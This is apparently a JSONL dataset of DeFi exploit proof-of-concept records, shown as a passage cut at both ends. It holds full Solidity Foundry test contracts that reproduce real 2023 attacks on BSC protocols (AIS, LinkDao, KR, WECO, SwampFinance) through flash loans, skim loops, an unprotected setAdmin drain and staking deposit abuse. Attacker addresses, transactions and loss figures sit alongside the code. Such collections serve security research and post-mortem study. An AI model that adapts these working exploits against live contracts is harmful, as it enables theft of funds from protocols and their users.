IERC20(0xABba891c633Fb27f8aa656EA6244dEDb15153fE0);\n address payable public minerPool = payable(address(0x36016C4F0E0177861E6377f73C380c70138E13EE));\n\n IDPPOracle public DPP1 = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);\n IDPPOracle public DPP2 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);\n IDPPOracle public DPP3 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);\n IDPPOracle public DPP4 = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);\n IDPPOracle public DPP5 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);\n IPancakeV3Pool public pancakeV3Pool = IPancakeV3Pool(0x4f3126d5DE26413AbDCF6948943FB9D0847d9818);\n IPancakeRouter public pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IPancakePair public pancakePair_USDT_OKC = IPancakePair(0x9CC7283d8F8b92654e6097acA2acB9655fD5ED96);", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 6, "quality_estimate": "medium", "title": "OKC Exploit (2023-11)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~$61k\n// Frontrunner: https://bscscan.com/address/0x7cb74265e3e2d2b707122bf45aea66137c6c8891\n// Original Attacker: https://bscscan.com/address/0x84f37F6cC75cCde5fE9bA99093824A11CfDc329D\n// Frontrunner Contract: https://bscscan.com/address/0x15ffd1d02b3918c9e56f75e30d23786d3ef2b5bc\n// Original Attack Contract: https://bscscan.com/address/0xf6f60b0e83d9837c1f247c575c8583b1d085d351\n// Vulnerable Contract:\n// https://bscscan.com/address/0x6844ef18012a383c14e9a76a93602616ee9d6132\n// https://bscscan.com/address/0xffac2ed69d61cf4a92347dcd394d36e32443d9d7\n// Attack Tx: https://bscscan.com/tx/0x0be817b6a522a111e06293435c233dab6576d7437d0e148b45efcf7ab8a10de0\n\n// @Analysis\n// https://twitter.com/Phalcon_xyz/status/1729861048004391306\n\ninterface IAIS is IERC20 {\n function setSwapPairs(\n address _address\n ) external;\n function harvestMarket() external;\n}\n\ninterface VulContract {\n function setAdmin(\n address _admin\n ) external;\n function transferToken(address _from, address _to, uint256 _tokenId) external;\n}\n\ncontract AISExploit is Test {\n IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IAIS AIS = IAIS(0x6844Ef18012A383c14E9a76a93602616EE9d6132);\n\n Uni_Pair_V3 pool = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);\n Uni_Pair_V2 usdt_ais = Uni_Pair_V2(0x1219F2699893BD05FE03559aA78e0923559CF0cf);\n Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n\n VulContract vulContract = VulContract(0xFFAc2Ed69D61CF4a92347dCd394D36E32443D9d7);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 33_916_687);\n\n vm.label(address(usdt), \"USDT\");\n vm.label(address(AIS), \"AIS\");\n vm.label(address(pool), \"pool\");\n vm.label(address(usdt_ais), \"usdt_ais pair\");\n vm.label(address(router), \"router\");\n }\n\n function testExploit() public {\n uint256 balanceBefore = usdt.balanceOf(address(this));\n\n usdt.approve(address(router), type(uint256).max);\n AIS.approve(address(router), type(uint256).max);\n\n pool.flash(address(this), 3_000_000 ether, 0, new bytes(1));\n uint256 balanceAfter = usdt.balanceOf(address(this));\n emit log_named_decimal_uint(\"USDT profit\", balanceAfter - balanceBefore, usdt.decimals());\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256, /*fee1*/ bytes memory /*data*/ ) public {\n swap(3_000_000 ether, address(usdt), address(AIS));\n\n usdt_ais.skim(address(this));\n for (uint256 i = 0; i < 100; i++) {\n uint256 balance = AIS.balanceOf(address(this));\n AIS.transfer(address(usdt_ais), balance * 90 / 100);\n AIS.transfer(address(usdt_ais), 0);\n usdt_ais.skim(address(this));\n usdt_ais.skim(address(this));\n }\n\n AIS.harvestMarket();\n vulContract.setAdmin(address(this));\n\n uint256 amount = AIS.balanceOf(address(vulContract)) * 90 / 100;\n vulContract.transferToken(address(AIS), address(this), amount);\n AIS.setSwapPairs(address(this));\n\n AIS.transfer(address(usdt_ais), AIS.balanceOf(address(this)));\n AIS.transfer(address(usdt_ais), 0);\n swap(0, address(AIS), address(usdt));\n\n usdt.transfer(address(pool), 3_000_000 ether + fee0);\n }\n\n function swap(uint256 amountIn, address tokenIn, address tokenOut) internal {\n address[] memory path = new address[](2);\n path[0] = tokenIn;\n path[1] = tokenOut;\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, 0, path, address(this), block.timestamp);\n }\n}\n", "type": "exploit_poc", "protocol": "AIS", "date": "2023-11", "file_name": "AIS_exp.sol", "attack_vector": null, "content_hash": "8cc219aa1319da20", "collected_at": "2026-01-07T10:59:16.536241", "_source": "postmortems", "chain": "bsc", "block_number": 33916687, "total_lost_raw": "~$61k", "total_lost_usd": 61000.0, "attacker_address": "https://bscscan.com/address/0x84f37F6cC75cCde5fE9bA99093824A11CfDc329D", "attack_contract": "https://bscscan.com/address/0xf6f60b0e83d9837c1f247c575c8583b1d085d351", "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0x0be817b6a522a111e06293435c233dab6576d7437d0e148b45efcf7ab8a10de0", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~$61k", "category": "unknown", "exploit_code": "function testExploit() public {\n uint256 balanceBefore = usdt.balanceOf(address(this));\n\n usdt.approve(address(router), type(uint256).max);\n AIS.approve(address(router), type(uint256).max);\n\n pool.flash(address(this), 3_000_000 ether, 0, new bytes(1));\n uint256 balanceAfter = usdt.balanceOf(address(this));\n emit log_named_decimal_uint(\"USDT profit\", balanceAfter - balanceBefore, usdt.decimals());\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://bscscan.com/address/0x84f37F6cC75cCde5fE9bA99093824A11CfDc329D", "keyinfo_attack_contract": "https://bscscan.com/address/0xf6f60b0e83d9837c1f247c575c8583b1d085d351", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0x0be817b6a522a111e06293435c233dab6576d7437d0e148b45efcf7ab8a10de0", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$61.0K", "content_richness_score": 6.89, "quality_estimate": "medium", "title": "AIS Exploit (2023-11)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\n\n// @KeyInfo - Total Lost : ~$30K\n// Attacker : https://bscscan.com/address/0xdf6b0200b4e1bc4a310f33df95a9087cc2c79038\n// Attack Contract : https://bscscan.com/address/0x721a66c7767103e7dcacf8440e8dd074edff40a8\n// Vulnerable Contract : https://bscscan.com/address/0x6524a5fd3fec179db3b3c1d21f700da7abe6b0de\n// Attack Tx : https://explorer.phalcon.xyz/tx/bsc/0x4ed59e3013215c272536775a966f4365112997a6eec534d38325be014f2e15ee\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x6524a5fd3fec179db3b3c1d21f700da7abe6b0de#code\n\n// @Analysis\n// Twitter Guy : https://x.com/phalcon_xyz/status/1725058908144746992\n\ninterface IUniswapV2Pair {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function balanceOf(\n address owner\n ) external view returns (uint256);\n function transfer(address to, uint256 value) external returns (bool);\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;\n}\n\ncontract LinkDao_exp is Test {\n address immutable r = address(this);\n\n receive() external payable {}\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 33_527_744);\n // vm.createSelectFork(\"https://rpc.ankr.com/bsc\", bytes32(0x4ed59e3013215c272536775a966f4365112997a6eec534d38325be014f2e15ee));\n }\n\n IUniswapV2Pair constant x55d3 = IUniswapV2Pair(0x55d398326f99059fF775485246999027B3197955);\n IUniswapV2Pair constant x6524 = IUniswapV2Pair(0x6524a5Fd3FEc179Db3b3C1d21F700Da7aBE6B0de);\n\n function test() public {\n // vm.prank(0xdF6B0200B4e1Bc4a310F33DF95a9087cC2C79038, 0xdF6B0200B4e1Bc4a310F33DF95a9087cC2C79038);\n x2effb772();\n }\n\n function x2effb772() public {\n x55d3.balanceOf(address(x6524));\n x6524.swap(29_663_356_140_000_000_000_000, 0, r, hex\"313233\");\n }\n\n function xdc6eaaa9() public {\n x55d3.transfer(address(x6524), 1_000_000_000_000_000_000);\n }\n\n fallback() external payable {\n bytes4 selector = bytes4(msg.data);\n if (selector == 0xdc6eaaa9) {\n return xdc6eaaa9();\n }\n revert(\"no such function\");\n }\n}\n", "type": "exploit_poc", "protocol": "LinkDao", "date": "2023-11", "file_name": "LinkDao_exp.sol", "attack_vector": null, "content_hash": "381d1d837329914e", "collected_at": "2026-01-07T10:59:16.536291", "_source": "postmortems", "chain": "bsc", "block_number": 33527744, "total_lost_raw": "~$30K", "total_lost_usd": 30000.0, "attacker_address": "https://bscscan.com/address/0xdf6b0200b4e1bc4a310f33df95a9087cc2c79038", "attack_contract": "https://bscscan.com/address/0x721a66c7767103e7dcacf8440e8dd074edff40a8", "vulnerable_contract": "https://bscscan.com/address/0x6524a5fd3fec179db3b3c1d21f700da7abe6b0de", "attack_tx": "https://explorer.phalcon.xyz/tx/bsc/0x4ed59e3013215c272536775a966f4365112997a6eec534d38325be014f2e15ee", "postmortem_url": null, "twitter_url": "https://x.com/phalcon_xyz/status/1725058908144746992", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~$30K", "category": "unknown", "exploit_code": "function test() public {\n // vm.prank(0xdF6B0200B4e1Bc4a310F33DF95a9087cC2C79038, 0xdF6B0200B4e1Bc4a310F33DF95a9087cC2C79038);\n x2effb772();\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$30K", "keyinfo_attacker": "https://bscscan.com/address/0xdf6b0200b4e1bc4a310f33df95a9087cc2c79038", "keyinfo_attack_contract": "https://bscscan.com/address/0x721a66c7767103e7dcacf8440e8dd074edff40a8", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x6524a5fd3fec179db3b3c1d21f700da7abe6b0de", "keyinfo_attack_tx": "https://explorer.phalcon.xyz/tx/bsc/0x4ed59e3013215c272536775a966f4365112997a6eec534d38325be014f2e15ee", "analysis_postmortem": "", "analysis_twitter": "https://x.com/phalcon_xyz/status/1725058908144746992", "funds_lost_formatted": "$30.0K", "content_richness_score": 7.22, "quality_estimate": "medium", "title": "LinkDao Exploit (2023-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\n// @KeyInfo - Total Lost : ~5 $ETH\n// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502\n// Vulnerable Contract : https://bscscan.com/address/0x15b1ed79ca9d7955af3e169d7b323c4f1eeb5d12\n// Attack Tx : https://bscscan.com/tx/0x2abf871eb91d03bc8145bf2a415e79132a103ae9f2b5bbf18b8342ea9207ccd7\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IKR is IERC20 {\n function sellKr(\n uint256 tokenToSell\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 BNBX = IERC20(0xF662457774bb0729028EA681BB2C001790999999);\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IKR KR = IKR(0x15b1Ed79cA9D7955AF3E169d7B323c4F1eeb5D12);\n uint256 tokenToSell;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 33_267_985 - 1);\n vm.label(address(KR), \"KR\");\n vm.label(address(BUSD), \"BUSD\");\n }\n\n function testExploit() public {\n BUSD.transfer(address(0x000000000000000000000000000000000000dEaD), BUSD.balanceOf(address(this)));\n emit log_named_uint(\"Attacker BUSD balance before attack\", BUSD.balanceOf(address(this)));\n tokenToSell = KR.balanceOf(address(0xAD1e7BF0A469b7B912D2B9d766d0C93291cA2656)) * 94 / 100;\n KR.sellKr(tokenToSell);\n emit log_named_decimal_uint(\"Attacker BUSD balance after attack\", BUSD.balanceOf(address(this)), 18);\n }\n\n fallback() external payable {}\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "KR", "date": "2023-11", "file_name": "KR_exp.sol", "attack_vector": null, "content_hash": "6090386e059b5b21", "collected_at": "2026-01-07T10:59:16.536334", "_source": "postmortems", "chain": "bsc", "block_number": 33267985, "total_lost_raw": "~5 $ETH", "total_lost_usd": 5.0, "attacker_address": "https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502", "attack_contract": null, "vulnerable_contract": "https://bscscan.com/address/0x15b1ed79ca9d7955af3e169d7b323c4f1eeb5d12", "attack_tx": "https://bscscan.com/tx/0x2abf871eb91d03bc8145bf2a415e79132a103ae9f2b5bbf18b8342ea9207ccd7", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "low", "severity_raw": "~5 $ETH", "category": "unknown", "exploit_code": "function testExploit() public {\n BUSD.transfer(address(0x000000000000000000000000000000000000dEaD), BUSD.balanceOf(address(this)));\n emit log_named_uint(\"Attacker BUSD balance before attack\", BUSD.balanceOf(address(this)));\n tokenToSell = KR.balanceOf(address(0xAD1e7BF0A469b7B912D2B9d766d0C93291cA2656)) * 94 / 100;\n KR.sellKr(tokenToSell);\n emit log_named_decimal_uint(\"Attacker BUSD balance after attack\", BUSD.balanceOf(address(this)), 18);\n }\n\n fallback() external payable {}\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "~5 $ETH", "keyinfo_attacker": "https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x15b1ed79ca9d7955af3e169d7b323c4f1eeb5d12", "keyinfo_attack_tx": "https://bscscan.com/tx/0x2abf871eb91d03bc8145bf2a415e79132a103ae9f2b5bbf18b8342ea9207ccd7", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$5", "content_richness_score": 6.76, "quality_estimate": "medium", "title": "KR Exploit (2023-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"./../basetest.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$18K\n// Attacker : https://bscscan.com/address/0xf5f21746ff9351f16a42fa272d7707cc35760e4b\n// Attack Contract : https://bscscan.com/address/0x76c8a674e814f5bd806fe6dd9975446a76056c1a\n// Vulnerable Contract : https://bscscan.com/address/0xd672b766d66662f5c6fd798a999e1193a7945451\n// Attack Tx : https://app.blocksec.com/explorer/tx/BSC/0x2040a481c933b50ee31aba257c2041c48bb7a0b4bf4b4fad1ac165f19c4269e8\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xd672b766d66662f5c6fd798a999e1193a7945451#code#L871\n// https://bscscan.com/address/0xd672b766d66662f5c6fd798a999e1193a7945451#code#L599\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy : https://x.com/MetaSec_xyz/status/1725311048625041887\n// Hacking God :\n\ninterface IWECOStaking {\n function deposit(uint256 _amount, uint256 _weeksLocked) external;\n}\n\ncontract WECOExploit is Test {\n IWECOStaking private constant WECOStaking = IWECOStaking(0xd672b766D66662F5C6fd798a999e1193a7945451);\n IERC20 private constant WECOIN = IERC20(0x5d37ABAFd5498B0E7af753a2E83bd4F0335AA89F);\n\n uint256 private constant blocknumToForkFrom = 33_549_937;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n vm.label(address(WECOStaking), \"WECOStaking\");\n vm.label(address(WECOIN), \"WECOIN\");\n }\n\n function testExploit() public {\n // Initial WECOIN balance. There was a transfer of WECOIN tokens from exploiter to attack contract\n // https://app.blocksec.com/explorer/tx/bsc/0x6129e18fdba3b4d3f1e6c3c9c448cafcbee5b5c82e4bbb69a404360f0e579051\n deal(address(WECOIN), address(this), 25_000_001 ether);\n uint256 WECOINBeforeBalance = WECOIN.balanceOf(address(this));\n WECOIN.approve(address(WECOStaking), type(uint256).max);\n WECOStaking.deposit(WECOIN.balanceOf(address(this)) - 1 ether, 0);\n uint256 WECOBalanceBeforeSecondDeposit = WECOIN.balanceOf(address(this));\n WECOStaking.deposit(WECOIN.balanceOf(address(this)), 0);\n uint256 WECOBalanceAfterSecondDeposit = WECOIN.balanceOf(address(this));\n uint256 WECOStakingBalance = WECOIN.balanceOf(address(WECOStaking));\n\n uint256 i;\n while (i < WECOStakingBalance / (WECOBalanceAfterSecondDeposit - WECOBalanceBeforeSecondDeposit)) {\n (bool success,) = address(WECOStaking).call(abi.encodeCall(WECOStaking.deposit, (1 ether, 0)));\n if (success == false) {\n break;\n } else {\n ++i;\n }\n }\n emit log_named_decimal_uint(\n \"Exploiter profit (in WECOIN) after attack\",\n WECOIN.balanceOf(address(this)) - WECOINBeforeBalance,\n WECOIN.decimals()\n );\n }\n}\n", "type": "exploit_poc", "protocol": "WECO", "date": "2023-11", "file_name": "WECO_exp.sol", "attack_vector": null, "content_hash": "9c614ce82872500a", "collected_at": "2026-01-07T10:59:16.536379", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "~$18K", "total_lost_usd": 18000.0, "attacker_address": "https://bscscan.com/address/0xf5f21746ff9351f16a42fa272d7707cc35760e4b", "attack_contract": "https://bscscan.com/address/0x76c8a674e814f5bd806fe6dd9975446a76056c1a", "vulnerable_contract": "https://bscscan.com/address/0xd672b766d66662f5c6fd798a999e1193a7945451", "attack_tx": "https://app.blocksec.com/explorer/tx/BSC/0x2040a481c933b50ee31aba257c2041c48bb7a0b4bf4b4fad1ac165f19c4269e8", "postmortem_url": null, "twitter_url": "https://x.com/MetaSec_xyz/status/1725311048625041887", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~$18K", "category": "unknown", "exploit_code": "function testExploit() public {\n // Initial WECOIN balance. There was a transfer of WECOIN tokens from exploiter to attack contract\n // https://app.blocksec.com/explorer/tx/bsc/0x6129e18fdba3b4d3f1e6c3c9c448cafcbee5b5c82e4bbb69a404360f0e579051\n deal(address(WECOIN), address(this), 25_000_001 ether);\n uint256 WECOINBeforeBalance = WECOIN.balanceOf(address(this));\n WECOIN.approve(address(WECOStaking), type(uint256).max);\n WECOStaking.deposit(WECOIN.balanceOf(address(this)) - 1 ether, 0);\n uint256 WECOBalanceBeforeSecondDeposit = WECOIN.balanceOf(address(this));\n WECOStaking.deposit(WECOIN.balanceOf(address(this)), 0);\n uint256 WECOBalanceAfterSecondDeposit = WECOIN.balanceOf(address(this));\n uint256 WECOStakingBalance = WECOIN.balanceOf(address(WECOStaking));\n\n uint256 i;\n while (i < WECOStakingBalance / (WECOBalanceAfterSecondDeposit - WECOBalanceBeforeSecondDeposit)) {\n (bool success,) = address(WECOStaking).call(abi.encodeCall(WECOStaking.deposit, (1 ether, 0)));\n if (success == false) {\n break;\n } else {\n ++i;\n }\n }\n emit log_named_decimal_uint(\n \"Exploiter profit (in WECOIN) after attack\",\n WECOIN.balanceOf(address(this)) - WECOINBeforeBalance,\n WECOIN.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$18K", "keyinfo_attacker": "https://bscscan.com/address/0xf5f21746ff9351f16a42fa272d7707cc35760e4b", "keyinfo_attack_contract": "https://bscscan.com/address/0x76c8a674e814f5bd806fe6dd9975446a76056c1a", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xd672b766d66662f5c6fd798a999e1193a7945451", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/BSC/0x2040a481c933b50ee31aba257c2041c48bb7a0b4bf4b4fad1ac165f19c4269e8", "analysis_postmortem": "", "analysis_twitter": "https://x.com/MetaSec_xyz/status/1725311048625041887", "funds_lost_formatted": "$18.0K", "content_richness_score": 7.44, "quality_estimate": "medium", "title": "WECO Exploit (2023-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"./../basetest.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : Unclear\n// Attacker : https://bscscan.com/address/0xfe2105e1317dfd6ed3887bf7882977c03cfebb7c\n// Attack Contract : https://bscscan.com/address/0x22ad9eef79615a1592e969bdf7b238a07281ab80\n// Vulnerable Contract : https://bscscan.com/address/0x33adbf5f1ec364a4ea3a5ca8f310b597b8afdee3\n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x13e75878a21af9a9b2207f5d9e18f19a43083a9ffbac36df5a7d4d67a52c164f\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x33adbf5f1ec364a4ea3a5ca8f310b597b8afdee3#code#L1609\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy : https://x.com/MetaSec_xyz/status/1720373044517208261\n// Hacking God :\n\ninterface IbeltBNB {\n function approve(address spender, uint256 amount) external returns (bool);\n\n function balanceOf(\n address owner\n ) external view returns (uint256);\n\n function transferFrom(address from, address to, uint256 value) external returns (bool);\n\n function deposit(uint256 _amount, uint256 _minShares) external;\n\n function withdraw(uint256 _shares, uint256 _minAmount) external;\n}\n\ninterface INativeFarm {\n function deposit(uint256 _pid, uint256 _wantAmt) external;\n\n function withdraw(uint256 _pid, uint256 _wantAmt) external;\n}\n\ninterface IStrategyBeltToken {\n function earn() external;\n}\n\ncontract SwampFinanceExploit is Test {\n IWBNB private constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IbeltBNB private constant beltBNB = IbeltBNB(0xa8Bb71facdd46445644C277F9499Dd22f6F0A30C);\n DVM private constant DPPOracle = DVM(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);\n ICointroller private constant VenusDistribution = ICointroller(0xfD36E2c2a6789Db23113685031d7F16329158384);\n ICErc20Delegate private constant vUSDT = ICErc20Delegate(payable(0xfD5840Cd36d94D7229439859C0112a4185BC0255));\n crETH private constant vBNB = crETH(payable(0xA07c5b74C9B40447a954e1466938b865b6BBea36));\n INativeFarm private constant NativeFarm = INativeFarm(0x33AdBf5f1ec364a4ea3a5CA8f310B597B8aFDee3);\n IStrategyBeltToken private constant StrategyBeltToken =\n IStrategyBeltToken(0xdA937DDD1F2bd57F507f5764a4F9550c750F7B31);\n\n uint256 private constant blocknumToForkFrom = 33_112_358;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(BUSDT), \"BUSDT\");\n vm.label(address(beltBNB), \"beltBNB\");\n vm.label(address(DPPOracle), \"DPPOracle\");\n vm.label(address(VenusDistribution), \"VenusDistribution\");\n vm.label(address(vUSDT), \"vUSDT\");\n vm.label(address(vBNB), \"vBNB\");\n vm.label(address(NativeFarm), \"NativeFarm\");\n vm.label(address(StrategyBeltToken), \"StrategyBeltToken\");\n }\n\n function testExploit() public {\n deal(address(this), 0);\n // In the begining transfer tokens from exploiter to attack contract\n deal(address(WBNB), address(this), 1e15);\n deal(address(BUSDT), address(this), 155_049_710_721_328_089);\n deal(address(beltBNB), address(this), 1_272_113_372_028_660);\n\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance before attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n\n DPPOracle.flashLoan(3100e18, 150_000e18, address(this), bytes(\"_\"));\n\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance after attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n approveAll();\n address[] memory vTokens = new address[](2);\n vTokens[0] = address(vUSDT);\n vTokens[1] = address(vBNB);\n VenusDistribution.enterMarkets(vTokens);\n\n uint256 cachedBUSDTbalance = BUSDT.balanceOf(address(this));\n vUSDT.mint(cachedBUSDTbalance);\n vBNB.borrow(500 ether);\n WBNB.deposit{value: address(this).balance}();\n beltBNB.deposit(WBNB.balanceOf(address(this)), 1);\n NativeFarm.deposit(135, beltBNB.balanceOf(address(this)));\n StrategyBeltToken.earn();\n NativeFarm.withdraw(135, type(uint256).max);\n beltBNB.withdraw(beltBNB.balanceOf(address(this)), 1);\n WBNB.withdraw(500 ether);\n vBNB.repayBorrow{value: 500 ether}();\n vUSDT.redeemUnderlying(cachedBUSDTbalance);\n\n WBNB.transfer(address(DPPOracle), baseAmount);\n BUSDT.transfer(address(DPPOracle), quoteAmount);\n }\n\n receive() external payable {}\n\n function approveAll() private {\n BUSDT.approve(address(vUSDT), type(uint256).max);\n WBNB.approve(address(beltBNB), type(uint256).max);\n beltBNB.approve(address(NativeFarm), type(uint256).max);\n beltBNB.approve(address(beltBNB), type(uint256).max);\n }\n}\n", "type": "exploit_poc", "protocol": "SwampFinance", "date": "2023-11", "file_name": "SwampFinance_exp.sol", "attack_vector": "flash_loan", "content_hash": "03eeed95fb3d5837", "collected_at": "2026-01-07T10:59:16.536426", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "Unclear", "total_lost_usd": null, "attacker_address": "https://bscscan.com/address/0xfe2105e1317dfd6ed3887bf7882977c03cfebb7c", "attack_contract": "https://bscscan.com/address/0x22ad9eef79615a1592e969bdf7b238a07281ab80", "vulnerable_contract": "https://bscscan.com/address/0x33adbf5f1ec364a4ea3a5ca8f310b597b8afdee3", "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x13e75878a21af9a9b2207f5d9e18f19a43083a9ffbac36df5a7d4d67a52c164f", "postmortem_url": null, "twitter_url": "https://x.com/MetaSec_xyz/status/1720373044517208261", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "Unclear", "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(this), 0);\n // In the begining transfer tokens from exploiter to attack contract\n deal(address(WBNB), address(this), 1e15);\n deal(address(BUSDT), address(this), 155_049_710_721_328_089);\n deal(address(beltBNB), address(this), 1_272_113_372_028_660);\n\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance before attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n\n DPPOracle.flashLoan(3100e18, 150_000e18, address(this), bytes(\"_\"));\n\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance after attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "Unclear", "keyinfo_attacker": "https://bscscan.com/address/0xfe2105e1317dfd6ed3887bf7882977c03cfebb7c", "keyinfo_attack_contract": "https://bscscan.com/address/0x22ad9eef79615a1592e969bdf7b238a07281ab80", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x33adbf5f1ec364a4ea3a5ca8f310b597b8afdee3", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x13e75878a21af9a9b2207f5d9e18f19a43083a9ffbac36df5a7d4d67a52c164f", "analysis_postmortem": "", "analysis_twitter": "https://x.com/MetaSec_xyz/status/1720373044517208261", "funds_lost_formatted": "Unknown", "content_richness_score": 8.54, "quality_estimate": "high", "title": "SwampFinance Exploit (2023-11)", "has_total_lost": false, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\n\n// @KeyInfo - Total Lost : ~$52K\n// Attacker : https://bscscan.com/address/0xe9fac789c947f364f53c3bc28bb6e9e099526468\n// Attack Contract : https://bscscan.com/address/0x87c75f8a69732bad999ce1fab464526856215c77\n// Vulnerable Contract : https://bscscan.com/address/0x11cd2168fc420ae1375626655ab8f355f0075bd6\n// Attack Tx : https://explorer.phalcon.xyz/tx/bsc/0xf6ec3c22b718c3da17746416992bac7b65a4ef42ccf5b43cf0716c82bffc2844\n\ninterface IERC20 {\n function balanceOf(\n address\n ) external view returns (uint256);\n function transfer(address, uint256) external returns (bool);\n function approve(address, uint256) external returns (bool);\n function transferFrom(address, address, uint256) external returns (bool);\n}\n\ninterface IPancakePair {\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;\n}\n\ninterface IPancakePool {\n function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;\n}\n\ninterface IPancakeRouter {\n function getAmountsOut(\n uint256 amountIn,\n address[] calldata path\n ) external view returns (uint256[] memory amounts);\n function getAmountsIn(\n uint256 amountOut,\n address[] calldata path\n ) external view returns (uint256[] memory 